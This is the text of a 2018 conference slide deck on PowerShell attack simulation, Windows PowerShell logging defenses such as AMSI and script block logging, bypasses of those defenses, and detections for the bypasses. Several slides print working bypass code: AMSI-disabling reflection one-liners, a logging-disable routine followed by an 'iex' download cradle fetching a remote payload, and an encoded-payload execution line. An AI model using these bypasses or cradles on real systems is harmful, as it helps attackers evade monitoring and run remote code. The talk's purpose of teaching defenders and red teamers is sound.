SlideShare una empresa de Scribd logo
1 de 43
Hacked? Pray that the
Attacker used
PowerShell
Nikhil Mittal
About Me
▪ Hacker, RedTeamer,Trainer, Speaker at
http://pentesteracademy.com/
▪ Twitter - @nikhil_mitt
▪ Blog – http://labofapenetrationtester.com
▪ Github - https://github.com/samratashok/
▪ Creator of Kautilya and Nishang
▪ Interested in Offensive Information Security, new attack vectors and
methodologies to pwn systems.
▪ PreviousTalks and/orTrainings
– DefCon, BlackHat, CanSecWest, BruCON, 44CON and more.
Hacked? Pray that the attacker used PowerShell 2IT Defense 2018
Agenda
▪ Motivation
▪ Attack simulation using PowerShell
▪ PowerShell ♥ the BlueTeam
▪ Detections using PowerShell v5.1
▪ Bypasses of the detections and detections for the bypasses
▪ Conclusion
Hacked? Pray that the attacker used PowerShell 3IT Defense 2018
Motivation
▪ PowerShell v2 comes installed by default inWindows 7.
▪ It allows ability to interact with Windows components like
Filesystem, Registry, Active Directory, COM,WMI,Windows API,
.NET on local as well as remote boxes and in-memory execution of
scripts as a built-in feature and extension of abilities by using .NET
classes without leaving any logs on the target system.
▪ Improvements inWindows PowerShellv5 has made it one of the most
logged scripting language across platforms.
▪ I have been using PowerShell for RedTeaming for past 7 years and
recently for PurpleTeaming and increasingly find it equally useful for
defense as well!
Hacked? Pray that the attacker used PowerShell 4IT Defense 2018
Attack Simulation with PowerShell
Hacked? Pray that the attacker used PowerShell IT Defense 2018 5
InitialCompromise
Initial Compromise
▪ Using client side attacks is a popular and fruitful method for getting a
foothold machine.There are many well known file types that can be
used to launch a PowerShell payload.
– Office Documents (Word, Excel, PowerPoint,Access, RTF etc.)
– HTA, CHM, JS
– Scriptlets (used with regsvr32)
Hacked? Pray that the attacker used PowerShell 6IT Defense 2018
Domain Enumeration
▪ Once we have access as a domain user, we can begin with
enumeration of domain and gather situational awareness.
▪ After gathering enough information about the target domain, we
look for privileges on other machines to escalate our privileges
locally.
Hacked? Pray that the attacker used PowerShell 7IT Defense 2018
Domain Privilege Escalation
▪ So, we spotted a machine where domain admin credentials are
present and we have local admin privileges.
▪ Once again, PowerShell helps us here by providing the ability to
execute Mimikatz completely in memory.
Hacked? Pray that the attacker used PowerShell 8IT Defense 2018
DEMO - Attack simulation with PowerShell
Hacked? Pray that the attacker used PowerShell IT Defense 2018 9
Popular but useless
"Security Controls"
▪ PowerShell script execution policy
▪ Blocking or removing powershell.exe
▪ Not updating PowerShell hoping that an adversary will not get an
updated "attack tool".
Hacked? Pray that the attacker used PowerShell 10IT Defense 2018
PowerShell ♥ the Blue Team
▪ Microsoft fights back with PowerShell v5.1
– System-wide transcription
– Enhanced logging
– AMSI
– Constrained PowerShell
– Protected Event Logging
– JEA
Reference: https://blogs.msdn.microsoft.com/powershell/2015/06/09/powershell-the-blue-
team/
Hacked? Pray that the attacker used PowerShell 11IT Defense 2018
PowerShell ♥ the Blue Team - System-wide
Transcription
▪ Enables transcription (console logging) for everything
(powershell.exe, PowerShell ISE, custom hosts - .NET DLL, msbuild,
installutil etc.) which uses PowerShell engine.
▪ Can be enabled using Group Policy (Administrative Templates -
> Windows Components -> Windows PowerShell -> Turn on
PowerShell Transcription). By-default transcripts are saved in
the user's "My Documents" directory.
▪ HKLM:SoftwarePoliciesMicrosoftWindowsPowerShellTra
nscription is the Registry key. Set EnableTranscriptng to 1. (See
Enable-PSTranscription in the referred blog)
Hacked? Pray that the attacker used PowerShell 12IT Defense 2018
PowerShell ♥ the Blue Team - System-wide
Transcription
Hacked? Pray that the attacker used PowerShell 13IT Defense 2018
PowerShell ♥ the Blue Team - System-wide
Transcription
▪ The transcripts are written as text files and can quickly grow in size
because the command output is also recorded. It is always
recommended to forward the transcripts to a log system to avoid
tempering and running out of disk space.
▪ Known problems -Too many logs in an enterprise level network.
Enabling transcripts on a DC breaks the Active Directory
Administration Centre GUI application.
Hacked? Pray that the attacker used PowerShell 14IT Defense 2018
PowerShell ♥ the Blue Team - Enhanced
Logging
Script block logging
▪ Logs contents of all the script blocks processed by the PowerShell
engine regardless of host used.
▪ Can be enabled using Group Policy (Administrative Templates -
> Windows Components -> Windows PowerShell -> Turn on
PowerShell Script Block Logging). Logs to Microsoft-
Windows-PowerShell/Operational.
▪ By-default only first execution of a script block is logged (Verbose
4104). Set "Log script block invocation start / stop
events" for start and stop of scripts in Event ID 4105
and 4106.(Multi-fold increase in number of logs)
Hacked? Pray that the attacker used PowerShell 15IT Defense 2018
PowerShell ♥ the Blue Team - Enhanced
Logging
Script block logging
▪ HKLM:SoftwarePoliciesMicrosoftWindowsPowerShellScr
iptBlockLogging is the Registry key. Set
EnableScriptBlockLogging to 1. (See Enable-
PSScriptBlockLogging in the referred blog)
▪ PowerShell v5 onwards logs (Warning level Event ID 4104) some
suspicious script blocks automatically based on a list of suspicious
commands. See: https://github.com/PowerShell/PowerShell/blob/v6.0.0-
alpha.18/src/System.Management.Automation/engine/runtime/CompiledScriptBlock.c
s#L1612-L1660
▪ It also records the original obfuscated code as well as decoded and
de-obfuscated code.
Hacked? Pray that the attacker used PowerShell 16IT Defense 2018
PowerShell ♥ the Blue Team - Enhanced
Logging
Hacked? Pray that the attacker used PowerShell 17IT Defense 2018
PowerShell ♥ the Blue Team - Enhanced
Logging
Module logging
▪ Available since PowerShell v3, module logging logs pipeline execution and
command execution events.
▪ Can be enabled using Group Policy (Administrative Templates ->
Windows Components -> Windows PowerShell -> Turn on Module
Logging). Use "*' to log for all modules. Logs to Microsoft-Windows-
PowerShell/Operational with Event ID 4103.
▪ HKLMSOFTWAREWow6432NodePoliciesMicrosoftWindowsPowerS
hellModuleLogging is the Registry key. Set EnableModuleLogging to
1.
▪ HKLMSOFTWAREWow6432NodePoliciesMicrosoftWindowsPowerS
hellModuleLoggingModuleNames is the Regsitry key. Create a key *
and set it to * for all modules.
Hacked? Pray that the attacker used PowerShell 18IT Defense 2018
PowerShell ♥ the Blue Team - Enhanced
Logging
Module logging
Hacked? Pray that the attacker used PowerShell 19IT Defense 2018
PowerShell ♥ the Blue Team - Enhanced
Logging
▪ Warning level script block logging checks only for a known list of
suspicious commands.
▪ Large number of logs for script block logging. Even more if
invocation of script blocks is logged.
▪ Huge number of logs when module logging is enabled.
Hacked? Pray that the attacker used PowerShell 20IT Defense 2018
PowerShell ♥ the Blue Team - AMSI
▪ AMSI (AntiMalware Scan Interface) provides the registered antivirus
access to contents of a script before execution.
▪ This allows detection of malicious scripts regardless of input method
(disk, encodedcommand, in-memory).
▪ Enabled by-default onWindows 10 and supported byWindows
Defender.
▪ Known problem: AMSI has no detection mechanism. It is dependent
on the signature based detection by the registered antivirus.
Hacked? Pray that the attacker used PowerShell 21IT Defense 2018
PowerShell ♥ the Blue Team - AMSI
Hacked? Pray that the attacker used PowerShell 22IT Defense 2018
PowerShell ♥ the Blue Team - Constrained
PowerShell
▪ Language mode in PowerShell is used to control access to different
elements for a PowerShell session.
▪ In the constrained language mode, allWindows cmdlets and
elements are allowed but allows only limited types. For example,
Add-Type,Win32APIs, COM objects are not allowed.
▪ Intended to work with Applocker in Allow mode or UMCI (Device
Guard User Mode Code Integrity). When Allow mode is set for scripts
in Applocker, the Constrained Language mode kicks-in by itself.
▪ Known problem: Not easy to implement enterprise-wide as it may
break many legitimate scripts.
Hacked? Pray that the attacker used PowerShell 23IT Defense 2018
PowerShell ♥ the Blue Team - Constrained
PowerShell
Hacked? Pray that the attacker used PowerShell 24IT Defense 2018
PowerShell ♥ the Blue Team - JEA
▪ JEA (Just Enough Administration) provides role based access control
for PowerShell based remote delegated administration.
▪ With JEA non-admin users can connect remotely to machines for
doing specific tasks.
▪ Focused more on securing privileged access than solving a problem
introduced with PowerShell unlike others discussed so far.
▪ JEA endpoints have PowerShell transcription and logging enabled.
Reference: https://msdn.microsoft.com/en-us/library/dn896648.aspx
Hacked? Pray that the attacker used PowerShell 25IT Defense 2018
DEMO - Did we left fingerprints?
Hacked? Pray that the attacker used PowerShell IT Defense 2018 26
Same Attack Simulation
without PowerShell
▪ Initial Compromise -VBA,VBScript and JScript payloads.
– Metasploit and ton of other tools
▪ Active Directory enumeration
– WMI,VBScript
▪ Domain Privilege Escalation -
– Mimikatz in JS using DotNetToJScript
– Packed and obfuscated mimikatz.exe
▪ From the defenses discussed, only AMSI will interfere with execution
of the scripts.
Hacked? Pray that the attacker used PowerShell 27IT Defense 2018
How PowerShell fairs in comparison to
other shell and scripting languages?
From: https://blogs.msdn.microsoft.com/powershell/2017/04/10/a-
comparison-of-shell-and-scripting-language-security/
Hacked? Pray that the attacker used PowerShell 28IT Defense 2018
No more PowerShell Red Teaming?
▪ Does all this mean that PowerShell is not good for red teaming
anymore?
▪ PowerShell still provides very useful ability of lateral movement and
script execution.At least as long as the security controls are not
deployed and managed in enterprises.
▪ Also, there is a very smart PowerShell tooling community creating
top notch tools useful for both Red and BlueTeams.
Hacked? Pray that the attacker used PowerShell 29IT Defense 2018
Bypassing the Defenses and Detecting the
Bypasses
▪ Bypasses for the defenses can be categorized in the following
categories:
– PowerShell downgrade to version 2
– Unloading, disabling or unsubscribing
– Obfuscation
– Trust abuse (Using trusted executables and code injection in trusted scripts)
▪ Many bypasses leave log entries which can be used to detect them.
Hacked? Pray that the attacker used PowerShell 30IT Defense 2018
Bypassing the defenses - PowerShell
Downgrade
▪ PowerShell version 2 lacks ALL of the detection mechanisms we
discussed.
▪ PowerShell version 2 can be called using the -Version parameter or
by using v2 reference assemblies.
▪ Version v2.0, 3.0 or 3.5 of the .NET Framework is required to use
PowerShell v2.
▪ PowerShell v2Windows features must be enabled (enabled by
default).
Hacked? Pray that the attacker used PowerShell 31IT Defense 2018
Detecting the Bypass- PowerShell
Downgrade
▪ The "Windows PowerShell" log can be used to detect the downgrade
bypass.The Event ID 400 (Engine Lifecycle) logs the "HostVersion" as
2.0.
▪ Device Guard or Applocker can be used to block older version of PowerShell.
http://www.leeholmes.com/blog/2017/03/17/detecting-and-preventing-powershell-
downgrade-attacks/
Hacked? Pray that the attacker used PowerShell 32IT Defense 2018
Bypassing the defenses - Unloading
Script Block Logging
▪ Script block logging can be bypassed for the current session without admin rights
by disabling it from the Group Policy Cache as discovered by Ryan Cobb.
▪ For efficiency, Group Policy settings are cached and used by Powershell. It is
possible to read and modify the settings!
Taken From: https://cobbr.io/ScriptBlock-Logging-Bypass.html
Hacked? Pray that the attacker used PowerShell 33
$GroupPolicyField =
[ref].Assembly.GetType('System.Management.Automation.Utils')."GetFie`ld"('cachedGroupPolicySettings',
'N'+'onPublic,Static')
If ($GroupPolicyField) {
$GroupPolicyCache = $GroupPolicyField.GetValue($null)
If ($GroupPolicyCache['ScriptB'+'lockLogging']) {
$GroupPolicyCache['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging'] = 0
$GroupPolicyCache['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging'] = 0
}
$val = [System.Collections.Generic.Dictionary[string,System.Object]]::new()
$val.Add('EnableScriptB'+'lockLogging', 0)
$val.Add('EnableScriptB'+'lockInvocationLogging', 0)
$GroupPolicyCache['HKEY_LOCAL_MACHINESoftwarePoliciesMicrosoftWindowsPowerShellScriptB'+'lockLogging
'] = $val
}
iex (New-Object Net.WebClient).downloadstring("https://myserver/mypayload.ps1")
IT Defense 2018
Bypassing the defenses - Unloading
Warning Level Script Block Logging
▪ Recall that theWarning level script block logging (which is enabled by default) uses
a list of known bad words.
▪ Turns out the logging can be bypassed for the current session without admin rights
by setting the list (signatures field in the ScriptBlock class ) to null.Once again,
discovered by Ryan Cobb.
Taken From: https://cobbr.io/ScriptBlock-Warning-Event-Logging-Bypass.html
Hacked? Pray that the attacker used PowerShell 34
# The bypass
[ScriptBlock]."GetFiel`d"('signatures','N'+'onPublic,Static').SetValue($null,(New
-Object Collections.Generic.HashSet[string]))
# To use a base64 encoded payload script with the bypass
[ScriptBlock]."GetFiel`d"('signatures','N'+'onPublic,Static').SetValue($null,(New
-Object
Collections.Generic.HashSet[string]));[Text.Encoding]::Unicode.GetString([Convert
]::FromBase64String('IgA8AE0AeQAgAHMAdQBzAHAAaQBjAGkAbwB1AHMAIABOAG8AbgBQAHUAYgBs
AGkAYwAgAHAAYQB5AGwAbwBhAGQAPgAiAA=='))|iex
IT Defense 2018
Detecting the bypass- Unloading
Script Block Logging
▪ Both the bypasses are logged unless obfuscated.
▪ Script block logging bypass evades detection if used from a
download cradle.
Hacked? Pray that the attacker used PowerShell 35IT Defense 2018
Bypassing the defenses - Disabling AMSI
▪ AMSI can be bypassed for the current session without admin rights by setting the
amsiInitFailed of System.Management.Automation.AmsiUtils to true as tweeted
by Matt Graber
https://twitter.com/mattifestation/status/735261176745988096
Hacked? Pray that the attacker used PowerShell 36
# Use s_amsiInitFailed for PowerShell v6.
#Bypass one - marked as malicious by some AntiVirus. Use with obfuscation.
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiIn
itFailed','NonPublic,Static').SetValue($null,$true)
#Bypass two - not detected by auto logging
[Delegate]::CreateDelegate(("Func``3[String,
$(([String].Assembly.GetType('System.Reflection.Bindin'+'gFlags')).FullName),
System.Reflection.FieldInfo]" -as [String].Assembly.GetType('System.T'+'ype')),
[Object]([Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')),('GetF
ie'+'ld')).Invoke('amsiInitFailed',(('Non'+'Public,Static') -as
[String].Assembly.GetType('System.Reflection.Bindin'+'gFlags'))).SetValue($null,$
True)
IT Defense 2018
Detecting the bypasses- AMSI
▪ Warning level script block auto logging detects the first bypass.
Hacked? Pray that the attacker used PowerShell 37IT Defense 2018
Bypassing the Defenses - Obfuscation
▪ Obfuscation defeats script block logging, warning level auto logging
and AMSI when done right.
▪ As a very simple example, we have already seen how GetField
becomes GetFiel`d to bypass warning level auto logging.
▪ Invoke-Obfuscation and Invoke-CradleCrafter from Daniel
(https://github.com/danielbohannon) are very useful for
implementing obfuscation.
Hacked? Pray that the attacker used PowerShell 38IT Defense 2018
Detecting the bypasses- Obfuscation
▪ Obfuscated scripts can be spotted by comparing common
characteristics like variable names, function names, character
frequency, distribution of language operators, entropy etc.
▪ Revoke-Obfusction (https://github.com/danielbohannon/Revoke-
Obfuscation) is one such tool for identifying obfuscated scripts from
event logs.
▪ Bonus:To avoid detection of obfuscation we can use minimal
obfuscation by identifying the exact signature which gets detected
and obfuscating only that part of the script. See:
https://cobbr.io/PSAmsi-Minimizing-Obfuscation-To-Maximize-
Stealth.html
Hacked? Pray that the attacker used PowerShell 39IT Defense 2018
Bypassing the defenses - PowerShell
Upgrade (!!?)
▪ PowerShell v6.0.0 (pwsh.exe) has only two of the discussed security
features:Warning level script block logging (not automatic) and AMSI
(the bypasses still works).
▪ This is probably because it is notWindows PowerShell but
PowerShell Core.
▪ The warning level script block logging needs to be setup by running a
PowerShell script RegisterMaifest.ps1 which registers the
PowerShellCore event provider.
http://www.labofapenetrationtester.com/2018/01/powershell6.html
Hacked? Pray that the attacker used PowerShell 40IT Defense 2018
Bypassing the defenses - PowerShell
Upgrade (!!?)
Hacked? Pray that the attacker used PowerShell 41IT Defense 2018
Conclusion
▪ The security controls, as we saw, can be bypassed but they truly
increase cost to an adversary. And this makes the security controls,
good enough to be implemented.
▪ All the security controls are built-in, free and do not need specizlized
knowledge or set up time.
▪ Not over for red teamers - PowerShell is a tool for true Purple
Teaming!
Hacked? Pray that the attacker used PowerShell 42IT Defense 2018
Thank You
▪ Please leave feedback.
▪ Follow me @nikhil_mitt
▪ For questions, training, assessments -
nikhil.uitrgpv@gmail.com
nikhil@pentesteracademy.com
Hacked? Pray that the attacker used PowerShell IT Defense 2018 43

Más contenido relacionado

La actualidad más candente

I'm in your cloud... reading everyone's email. Hacking Azure AD via Active Di...
I'm in your cloud... reading everyone's email. Hacking Azure AD via Active Di...I'm in your cloud... reading everyone's email. Hacking Azure AD via Active Di...
I'm in your cloud... reading everyone's email. Hacking Azure AD via Active Di...
DirkjanMollema
 

La actualidad más candente (20)

PSConfEU - Offensive Active Directory (With PowerShell!)
PSConfEU - Offensive Active Directory (With PowerShell!)PSConfEU - Offensive Active Directory (With PowerShell!)
PSConfEU - Offensive Active Directory (With PowerShell!)
 
Client side attacks using PowerShell
Client side attacks using PowerShellClient side attacks using PowerShell
Client side attacks using PowerShell
 
Cyber Threat Hunting Workshop
Cyber Threat Hunting WorkshopCyber Threat Hunting Workshop
Cyber Threat Hunting Workshop
 
Not a Security Boundary
Not a Security BoundaryNot a Security Boundary
Not a Security Boundary
 
Ekoparty 2017 - The Bug Hunter's Methodology
Ekoparty 2017 - The Bug Hunter's MethodologyEkoparty 2017 - The Bug Hunter's Methodology
Ekoparty 2017 - The Bug Hunter's Methodology
 
AMSI: How Windows 10 Plans to Stop Script-Based Attacks and How Well It Does It
AMSI: How Windows 10 Plans to Stop Script-Based Attacks and How Well It Does ItAMSI: How Windows 10 Plans to Stop Script-Based Attacks and How Well It Does It
AMSI: How Windows 10 Plans to Stop Script-Based Attacks and How Well It Does It
 
Windows Threat Hunting
Windows Threat HuntingWindows Threat Hunting
Windows Threat Hunting
 
External to DA, the OS X Way
External to DA, the OS X WayExternal to DA, the OS X Way
External to DA, the OS X Way
 
You can detect PowerShell attacks
You can detect PowerShell attacksYou can detect PowerShell attacks
You can detect PowerShell attacks
 
Introduction to red team operations
Introduction to red team operationsIntroduction to red team operations
Introduction to red team operations
 
PowerShell for Penetration Testers
PowerShell for Penetration TestersPowerShell for Penetration Testers
PowerShell for Penetration Testers
 
BSidesLV 2016 - Powershell - Hunting on the Endpoint - Gerritz
BSidesLV 2016 - Powershell - Hunting on the Endpoint - GerritzBSidesLV 2016 - Powershell - Hunting on the Endpoint - Gerritz
BSidesLV 2016 - Powershell - Hunting on the Endpoint - Gerritz
 
Finding attacks with these 6 events
Finding attacks with these 6 eventsFinding attacks with these 6 events
Finding attacks with these 6 events
 
DerbyCon 2019 - Kerberoasting Revisited
DerbyCon 2019 - Kerberoasting RevisitedDerbyCon 2019 - Kerberoasting Revisited
DerbyCon 2019 - Kerberoasting Revisited
 
How to Hunt for Lateral Movement on Your Network
How to Hunt for Lateral Movement on Your NetworkHow to Hunt for Lateral Movement on Your Network
How to Hunt for Lateral Movement on Your Network
 
Red Team Revenge - Attacking Microsoft ATA
Red Team Revenge - Attacking Microsoft ATARed Team Revenge - Attacking Microsoft ATA
Red Team Revenge - Attacking Microsoft ATA
 
Hunting for Privilege Escalation in Windows Environment
Hunting for Privilege Escalation in Windows EnvironmentHunting for Privilege Escalation in Windows Environment
Hunting for Privilege Escalation in Windows Environment
 
I'm in your cloud... reading everyone's email. Hacking Azure AD via Active Di...
I'm in your cloud... reading everyone's email. Hacking Azure AD via Active Di...I'm in your cloud... reading everyone's email. Hacking Azure AD via Active Di...
I'm in your cloud... reading everyone's email. Hacking Azure AD via Active Di...
 
Metasploit Demo
Metasploit DemoMetasploit Demo
Metasploit Demo
 
aclpwn - Active Directory ACL exploitation with BloodHound
aclpwn - Active Directory ACL exploitation with BloodHoundaclpwn - Active Directory ACL exploitation with BloodHound
aclpwn - Active Directory ACL exploitation with BloodHound
 

Similar a Hacked? Pray that the Attacker used PowerShell

Inventory your network and clients with PowerShell
Inventory your network and clients with PowerShellInventory your network and clients with PowerShell
Inventory your network and clients with PowerShell
Concentrated Technology
 
[OWASP Poland Day] Application security - daily questions & answers
[OWASP Poland Day] Application security - daily questions & answers[OWASP Poland Day] Application security - daily questions & answers
[OWASP Poland Day] Application security - daily questions & answers
OWASP
 
metaploit framework
metaploit frameworkmetaploit framework
metaploit framework
Le Quyen
 

Similar a Hacked? Pray that the Attacker used PowerShell (20)

No locked doors, no windows barred: hacking OpenAM infrastructure
No locked doors, no windows barred: hacking OpenAM infrastructureNo locked doors, no windows barred: hacking OpenAM infrastructure
No locked doors, no windows barred: hacking OpenAM infrastructure
 
Go Hack Yourself - 10 Pen Test Tactics for Blue Teamers
Go Hack Yourself - 10 Pen Test Tactics for Blue TeamersGo Hack Yourself - 10 Pen Test Tactics for Blue Teamers
Go Hack Yourself - 10 Pen Test Tactics for Blue Teamers
 
Online Sync meetup: Metasploit 101 slides
Online Sync meetup: Metasploit 101 slidesOnline Sync meetup: Metasploit 101 slides
Online Sync meetup: Metasploit 101 slides
 
Automating Post Exploitation with PowerShell
Automating Post Exploitation with PowerShellAutomating Post Exploitation with PowerShell
Automating Post Exploitation with PowerShell
 
Anatomy of PHP Shells
Anatomy of PHP ShellsAnatomy of PHP Shells
Anatomy of PHP Shells
 
Defcon - Veil-Pillage
Defcon - Veil-PillageDefcon - Veil-Pillage
Defcon - Veil-Pillage
 
PowerShell: The increased use of PowerShell in cyber attacks
PowerShell: The increased use of PowerShell in cyber attacksPowerShell: The increased use of PowerShell in cyber attacks
PowerShell: The increased use of PowerShell in cyber attacks
 
Powershell training material
Powershell training materialPowershell training material
Powershell training material
 
Your Inner Sysadmin - LonestarPHP 2015
Your Inner Sysadmin - LonestarPHP 2015Your Inner Sysadmin - LonestarPHP 2015
Your Inner Sysadmin - LonestarPHP 2015
 
Inventory your network and clients with PowerShell
Inventory your network and clients with PowerShellInventory your network and clients with PowerShell
Inventory your network and clients with PowerShell
 
The Dark Side of PowerShell by George Dobrea
The Dark Side of PowerShell by George DobreaThe Dark Side of PowerShell by George Dobrea
The Dark Side of PowerShell by George Dobrea
 
Bsides tampa
Bsides tampaBsides tampa
Bsides tampa
 
Hacker Halted 2014 - Post-Exploitation After Having Remote Access
Hacker Halted 2014 - Post-Exploitation After Having Remote AccessHacker Halted 2014 - Post-Exploitation After Having Remote Access
Hacker Halted 2014 - Post-Exploitation After Having Remote Access
 
Incorporating PowerShell into your Arsenal with PS>Attack
Incorporating PowerShell into your Arsenal with PS>AttackIncorporating PowerShell into your Arsenal with PS>Attack
Incorporating PowerShell into your Arsenal with PS>Attack
 
O365Con19 - Things I've Learned While Building a Product on SharePoint Modern...
O365Con19 - Things I've Learned While Building a Product on SharePoint Modern...O365Con19 - Things I've Learned While Building a Product on SharePoint Modern...
O365Con19 - Things I've Learned While Building a Product on SharePoint Modern...
 
Hacking Highly Secured Enterprise Environments by Zoltan Balazs
Hacking Highly Secured Enterprise Environments by Zoltan BalazsHacking Highly Secured Enterprise Environments by Zoltan Balazs
Hacking Highly Secured Enterprise Environments by Zoltan Balazs
 
Flipping the script
Flipping the scriptFlipping the script
Flipping the script
 
[OWASP Poland Day] Application security - daily questions & answers
[OWASP Poland Day] Application security - daily questions & answers[OWASP Poland Day] Application security - daily questions & answers
[OWASP Poland Day] Application security - daily questions & answers
 
metaploit framework
metaploit frameworkmetaploit framework
metaploit framework
 
DevSecOps: What Why and How : Blackhat 2019
DevSecOps: What Why and How : Blackhat 2019DevSecOps: What Why and How : Blackhat 2019
DevSecOps: What Why and How : Blackhat 2019
 

Más de Nikhil Mittal

Más de Nikhil Mittal (11)

0wn-premises: Bypassing Microsoft Defender for Identity
0wn-premises: Bypassing Microsoft Defender for Identity0wn-premises: Bypassing Microsoft Defender for Identity
0wn-premises: Bypassing Microsoft Defender for Identity
 
RACE - Minimal Rights and ACE for Active Directory Dominance
RACE - Minimal Rights and ACE for Active Directory DominanceRACE - Minimal Rights and ACE for Active Directory Dominance
RACE - Minimal Rights and ACE for Active Directory Dominance
 
Evading Microsoft ATA for Active Directory Domination
Evading Microsoft ATA for Active Directory DominationEvading Microsoft ATA for Active Directory Domination
Evading Microsoft ATA for Active Directory Domination
 
Workshop: PowerShell for Penetration Testers
Workshop: PowerShell for Penetration TestersWorkshop: PowerShell for Penetration Testers
Workshop: PowerShell for Penetration Testers
 
Continuous intrusion: Why CI tools are an attacker’s best friends
Continuous intrusion: Why CI tools are an attacker’s best friendsContinuous intrusion: Why CI tools are an attacker’s best friends
Continuous intrusion: Why CI tools are an attacker’s best friends
 
Powerpreter: Post Exploitation like a Boss
Powerpreter: Post Exploitation like a BossPowerpreter: Post Exploitation like a Boss
Powerpreter: Post Exploitation like a Boss
 
Kautilya: Teensy beyond shell
Kautilya: Teensy beyond shellKautilya: Teensy beyond shell
Kautilya: Teensy beyond shell
 
Teensy Programming for Everyone
Teensy Programming for EveryoneTeensy Programming for Everyone
Teensy Programming for Everyone
 
More fun using Kautilya
More fun using KautilyaMore fun using Kautilya
More fun using Kautilya
 
Hacking the future with USB HID
Hacking the future with USB HIDHacking the future with USB HID
Hacking the future with USB HID
 
Owning windows 8 with human interface devices
Owning windows 8 with human interface devicesOwning windows 8 with human interface devices
Owning windows 8 with human interface devices
 

Último

Why Teams call analytics are critical to your entire business
Why Teams call analytics are critical to your entire businessWhy Teams call analytics are critical to your entire business
Why Teams call analytics are critical to your entire business
panagenda
 
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
?#DUbAI#??##{{(☎️+971_581248768%)**%*]'#abortion pills for sale in dubai@
 
Artificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and MythsArtificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and Myths
Joaquim Jorge
 

Último (20)

The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024The 7 Things I Know About Cyber Security After 25 Years | April 2024
The 7 Things I Know About Cyber Security After 25 Years | April 2024
 
How to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerHow to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected Worker
 
Why Teams call analytics are critical to your entire business
Why Teams call analytics are critical to your entire businessWhy Teams call analytics are critical to your entire business
Why Teams call analytics are critical to your entire business
 
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
 
Top 10 Most Downloaded Games on Play Store in 2024
Top 10 Most Downloaded Games on Play Store in 2024Top 10 Most Downloaded Games on Play Store in 2024
Top 10 Most Downloaded Games on Play Store in 2024
 
A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)
 
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
 
A Year of the Servo Reboot: Where Are We Now?
A Year of the Servo Reboot: Where Are We Now?A Year of the Servo Reboot: Where Are We Now?
A Year of the Servo Reboot: Where Are We Now?
 
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
Bajaj Allianz Life Insurance Company - Insurer Innovation Award 2024
 
Strategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a FresherStrategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a Fresher
 
Top 5 Benefits OF Using Muvi Live Paywall For Live Streams
Top 5 Benefits OF Using Muvi Live Paywall For Live StreamsTop 5 Benefits OF Using Muvi Live Paywall For Live Streams
Top 5 Benefits OF Using Muvi Live Paywall For Live Streams
 
From Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time AutomationFrom Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time Automation
 
🐬 The future of MySQL is Postgres 🐘
🐬  The future of MySQL is Postgres   🐘🐬  The future of MySQL is Postgres   🐘
🐬 The future of MySQL is Postgres 🐘
 
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, AdobeApidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
 
presentation ICT roal in 21st century education
presentation ICT roal in 21st century educationpresentation ICT roal in 21st century education
presentation ICT roal in 21st century education
 
Real Time Object Detection Using Open CV
Real Time Object Detection Using Open CVReal Time Object Detection Using Open CV
Real Time Object Detection Using Open CV
 
Boost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdfBoost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdf
 
Apidays New York 2024 - The value of a flexible API Management solution for O...
Apidays New York 2024 - The value of a flexible API Management solution for O...Apidays New York 2024 - The value of a flexible API Management solution for O...
Apidays New York 2024 - The value of a flexible API Management solution for O...
 
Artificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and MythsArtificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and Myths
 
2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...
 

Hacked? Pray that the Attacker used PowerShell

  • 1. Hacked? Pray that the Attacker used PowerShell Nikhil Mittal
